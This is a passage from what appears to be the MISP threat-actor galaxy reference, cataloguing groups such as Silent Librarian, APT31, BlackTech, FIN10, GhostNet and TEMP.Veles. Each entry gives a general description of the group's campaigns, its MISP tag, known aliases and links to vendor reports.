<td><a href="https://community.icann.org/download/attachments/109483867/Cybersecurity%20and%20the%20ICANN%20Ecosystem.pdf">https://community.icann.org/download/attachments/109483867/Cybersecurity%20and%20the%20ICANN%20Ecosystem.pdf</a></td>
</tr>
</tbody>
</table>
Silent Librarian

Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.

The tag is: misp-galaxy:threat-actor="Silent Librarian"

Silent Librarian is also known as:

- COBALT DICKENS
- Mabna Institute
- TA407

Table 11308. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again">https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities">https://www.secureworks.com/blog/back-to-school-cobalt-dickens-targets-universities</a></td>
</tr>
</tbody>
</table>
APT31

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competitive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrke, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.

The tag is: \textit{misp-galaxy:threat-actor="APT31"}

APT31 is also known as:

- ZIRCONIUM
- JUDGMENT PANDA
- BRONZE VINEWOOD
- Red keres

View relationships graph

APT31 has relationships with:

- similar: misp-galaxy:microsoft-activity-group="ZIRCONIUM" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="Violet Typhoon" with estimative-language:likelihood-probability="likely"

Table 11309. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redalert.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists">https://redalert.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bkMSFT/status/120187664667582466">https://twitter.com/bkMSFT/status/120187664667582466</a></td>
</tr>
</tbody>
</table>
Blackgear

BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started
targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.

The tag is: *misp-galaxy:threat-actor="Blackgear"*

**Blackgear**

Blackgear is also known as:

- Topgear
- Comnie
- BLACKGEAR

*Table 11310. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**BlackOasis**

BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.

The tag is: *misp-galaxy:threat-actor="BlackOasis"*

**BlackOasis**

BlackOasis is also known as:

- G0063

*Table 11311. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0063/">https://attack.mitre.org/groups/G0063/</a></td>
</tr>
</tbody>
</table>

**BlackTech**

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of
fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

The tag is: misp-galaxy:threat-actor="BlackTech"

BlackTech is also known as:

- CIRCUIT PANDA
- Temp.Overboard
- HUAPI
- Palmerworm
- G0098
- T-APT-03
- Manga Taurus
- Red Djinn

Table 11312. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/">https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/mangataurus/">https://unit42.paloaltonetworks.com/atoms/mangataurus/</a></td>
</tr>
</tbody>
</table>
FIN5

FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.

The tag is: misp-galaxy:threat-actor="FIN5"

FIN5 is also known as:

- G0053

Table 11313. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645">https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645</a>?</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0053/">https://attack.mitre.org/groups/G0053/</a></td>
</tr>
</tbody>
</table>

FIN1

FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s), and used this malware to access the victim environment and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.

The tag is: misp-galaxy:threat-actor="FIN1"

Table 11314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html">https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html</a></td>
</tr>
</tbody>
</table>

FIN10

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations’ networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.
The tag is: misp-galaxy:threat-actor="FIN10"

FIN10 is also known as:

- G0051

Table 11315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0051/">https://attack.mitre.org/groups/G0051/</a></td>
</tr>
</tbody>
</table>

**GhostNet**

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama’s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings between His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat’s office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)

The tag is: misp-galaxy:threat-actor="GhostNet"

GhostNet is also known as:

- Snooping Dragon

Table 11316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.nartv.org/mirror/ghostnet.pdf">http://www.nartv.org/mirror/ghostnet.pdf</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/GhostNet">https://en.wikipedia.org/wiki/GhostNet</a></td>
</tr>
</tbody>
</table>
GozNym

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper's stealth and persistence; the Gozi ISFB parts add the banking Trojan's capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.

The tag is: `misp-galaxy:threat-actor="GozNym"`

Table 11317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://threatpost.com/attackers-behind-goznym-trojan-set-sights-on-europe/117647/">https://threatpost.com/attackers-behind-goznym-trojan-set-sights-on-europe/117647/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/goznym-banking-trojan-targeting-german-banks/120075/">https://threatpost.com/goznym-banking-trojan-targeting-german-banks/120075/</a></td>
</tr>
</tbody>
</table>

Group5

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past.

The tag is: `misp-galaxy:threat-actor="Group5"`

Group5 is also known as:

- G0043

Table 11318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition">https://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0043/">https://attack.mitre.org/groups/G0043/</a></td>
</tr>
</tbody>
</table>
Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

The tag is: `misp-galaxy:threat-actor="Honeybee"`

Honeybee is also known as:

- G0072

Table 11319. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0072/">https://attack.mitre.org/groups/G0072/</a></td>
<td></td>
</tr>
</tbody>
</table>

Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on
effective social engineering and lax security measures on the part of the victims.

The tag is: `misp-galaxy:threat-actor="Lucky Cat"`

Lucky Cat is also known as:

- TA413
- White Dev 9

**Table 11320. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**RTM**

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

The tag is: `misp-galaxy:threat-actor="RTM"`

RTM is also known as:

- G0048

**Table 11321. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0048/">https://attack.mitre.org/groups/G0048/</a></td>
</tr>
</tbody>
</table>
**Shadow Network**

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

The tag is: `misp-galaxy:threat-actor="Shadow Network"`

**Table 11322. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Slingshot**

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

The tag is: `misp-galaxy:threat-actor="Slingshot"`

**Table 11323. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/apt-slingshot/84312/">https://securelist.com/apt-slingshot/84312/</a></td>
</tr>
</tbody>
</table>
Taidoor

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

The tag is: misp-galaxy:threat-actor="Taidoor"

Taidoor is also known as:

• G0015
• Earth Aughisky

Table 11324. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf">https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0015/">https://attack.mitre.org/groups/G0015/</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat">https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat</a></td>
</tr>
</tbody>
</table>

TEMP.Veles

TEMP.Veles is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.

The tag is: misp-galaxy:threat-actor="TEMP.Veles"
TEMP.Veles is also known as:

- Xenotime
- G0088
- ATK91

Table 11325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0088/">https://attack.mitre.org/groups/G0088/</a></td>
</tr>
<tr>
<td><a href="https://cyberthreat.thalesgroup.com/attackers/ATK91">https://cyberthreat.thalesgroup.com/attackers/ATK91</a></td>
</tr>
<tr>
<td><a href="https://www.dragos.com/threat/xenotime/">https://www.dragos.com/threat/xenotime/</a></td>
</tr>
</tbody>
</table>

WindShift

In August of 2018, DarkMatter released a report entitled “In the Trails of WINDSHIFT APT”, which unveiled a threat actor with TTPs very similar to those of Bahamut. Subsequently, two additional articles were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems. Pivoting on specific file attributes and infrastructure indicators, Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency.

The tag is: `misp-galaxy:threat-actor="WindShift"`

WindShift is also known as:

- Windy Phoenix

Table 11326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments/">https://unit42.paloaltonetworks.com/shifting-in-the-wind-windshift-attacks-target-middle-eastern-governments/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/windyphoenix/">https://unit42.paloaltonetworks.com/atoms/windyphoenix/</a></td>
</tr>
</tbody>
</table>

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place. After analyzing and investigating the documents we conclude that they are authentic. Consequently, this causes considerable harm to the groups and their operation. The identity of the
actor behind the leak is currently unknown, however based on the scope and the quality of the exposed documents and information, it appears that they are professional and highly capable. This leak will likely hamstring the groups' operation in the near future. Accordingly, in our assessment this will minimize the risk of potential attacks in the next few months and possibly even year. Note—most of the leaks are posted on Telegram channels that were created specifically for this purpose. Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym (“The people whose lips are stitched and sealed” –translation from Persian) –In this channel attack tools attributed to the group ‘OilRig’ were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups’ activity.

The tag is: misp-galaxy:threat-actor="[Unnamed group]"

Table 11327. Table References

Table 11328. Table References

DUNGEON SPIDER

DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky, which has been active since February 2016 and was last observed in late 2017. Locky is a ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: misp-galaxy:threat-actor="DUNGEON SPIDER"

Fxmsp

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing
network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

The tag is: misp-galaxy:threat-actor="Fxmsp"

Table 11329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Gnosticplayers

The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them."

The tag is: misp-galaxy:threat-actor="Gnosticplayers"

Table 11330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.zdnet.com/article/round-4-hacker-returns-and-puts-26mil-user-records-for-sale-on-the-dark-web/">https://www.zdnet.com/article/round-4-hacker-returns-and-puts-26mil-user-records-for-sale-on-the-dark-web/</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/">https://www.theregister.co.uk/2019/02/11/620_million_hacked_accounts_dark_web/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/">https://www.zdnet.com/article/127-million-user-records-from-8-companies-put-up-for-sale-on-the-dark-web/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/a-hacker-has-dumped-nearly-one-billion-user-records-over-the-past-two-months/">https://www.zdnet.com/article/a-hacker-has-dumped-nearly-one-billion-user-records-over-the-past-two-months/</a></td>
</tr>
</tbody>
</table>
Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device's webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company's efforts to get back on its feet. The first reports suggesting Hacking Team's resumed operations came six months later – a new sample of Hacking Team's Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team's shareholder structure, with Tablem Limited taking 20% of Hacking Team's shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

The tag is: misp-galaxy:threat-actor="Hacking Team"

Table 11331. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Hacking_Team">https://en.wikipedia.org/wiki/Hacking_Team</a></td>
</tr>
</tbody>
</table>

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high-profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

The tag is: misp-galaxy:threat-actor="OurMine"
Pacha Group

Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.

The tag is: `misp-galaxy:threat-actor="Pacha Group"`

Rocke

This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details about the actor.

The tag is: `misp-galaxy:threat-actor="Rocke"`

Rocke is also known as:

- Aged Libra
[Vault 7/8]

An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA’s global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft’s Windows and even Samsung TVs, which are turned into covert microphones.

The tag is: misp-galaxy:threat-actor="[Vault 7/8]"

Table 11335. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://wikileaks.org/ciav7p1/">https://wikileaks.org/ciav7p1/</a></td>
</tr>
</tbody>
</table>

ZOMBIE SPIDER

On April 7, 2017, Pytor Levashov — who predominantly used the alias Severa or Peter Severa and whom Falcon Intelligence tracks as ZOMBIE SPIDER — was arrested in an international law enforcement operation led by the FBI. ZOMBIE SPIDER’s specialty was large-scale spam distribution, a fundamental component of cybercrime operations. Levashov was the primary threat actor behind a botnet known as Kelihos and its predecessors, Waledac and Storm. In addition to Levashov’s arrest, there was a technical operation conducted by Falcon Intelligence to seize control of the Kelihos botnet.
ViceLeaker

